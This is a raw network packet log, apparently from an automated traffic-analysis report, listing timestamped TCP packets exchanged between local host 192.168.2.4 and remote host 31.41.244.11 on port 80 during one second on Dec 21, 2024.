                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.426765919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.427009106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.427041054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.427068949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.427099943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.427975893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.428030968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.428071022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.428114891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.429070950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.429115057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.429218054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.429263115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.430207014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.430253029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.430296898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.430342913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.431305885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.431355000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.431396008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.431446075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.432421923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.432466984 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.432533026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.432580948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.433610916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.433656931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.433701992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.433747053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.434711933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.434760094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.434798956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.434843063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.435837984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.435884953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.435940027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.435988903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.436866045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.436911106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.436944962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.436985970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.437935114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.437978983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.438050985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.438095093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.439057112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.439104080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.439229965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.439299107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.440186977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.440233946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.440268040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.440309048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.441288948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.441333055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.441351891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.441396952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.442440987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.442487955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.442684889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.442733049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.443528891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.443573952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.443640947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.443686962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.444583893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.444637060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.444705963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.444750071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.445724964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.445770025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.445858002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.445902109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.446805000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.446849108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.446943045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.446993113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.447967052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.448013067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.448045015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.448088884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.449043989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.449086905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.449109077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.449155092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.450295925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.450344086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.450382948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.450423956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.451216936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.451261044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.451353073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.451400995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.452341080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.452393055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.452438116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.452480078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.453480005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.453526020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.453593969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.453638077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.454560995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.454607010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.454647064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.454689980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.455667019 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.455712080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.455760956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.455806971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.456778049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.456824064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.456868887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.456912994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.457870960 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.457916021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.458002090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.458045006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.459070921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.459117889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.459197044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.459244013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.460083008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.460128069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.460177898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.460222960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.461230040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.461277008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.461311102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.461359978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.462364912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.462410927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.462507010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.462552071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.463406086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.463453054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.463459969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.463500023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.464508057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.464555025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.464634895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.464678049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.465647936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.465692997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.465780020 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.465825081 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.466732025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.466788054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.466835022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.466881037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.467885017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.467930079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.468014956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.468059063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.468951941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.468996048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.469036102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.469079971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.470061064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.470105886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.470176935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.470220089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.471209049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.471255064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.471271038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.471321106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.472300053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.472346067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.472428083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.472474098 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.473484993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.473531008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.473553896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.473599911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.474482059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.474526882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.474595070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.474639893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.475594997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.475641012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.475718975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.475761890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.476713896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.476759911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.476804972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.476850033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.477787971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.477832079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.477907896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.477951050 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.478920937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.478969097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.479003906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.479052067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.480006933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.480066061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.480102062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.480150938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.481117010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.481162071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.481214046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.481256962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.482238054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.482285023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.482424974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.482467890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.483331919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.483374119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.483416080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.483453035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.484391928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.484433889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.618673086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.618697882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.618769884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.619112968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.619177103 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.619225979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.620136976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.620157003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.620186090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.620229006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.621177912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.621246099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.621298075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.622328997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.622452021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.622486115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.622632980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.623406887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.623456001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.623538017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.623590946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.624511957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.624562025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.624619007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.624667883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.625607014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.625649929 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.625823975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.625955105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.626771927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.626801968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.626827002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.626837969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.627830982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.627880096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.628041029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.628087997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.628927946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.628978014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.629079103 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.629232883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.630024910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.630086899 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.630208969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.630387068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.631120920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.631169081 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.631242990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.631290913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.632276058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.632323980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.632462978 CET804976031.41.244.11192.168.2.4
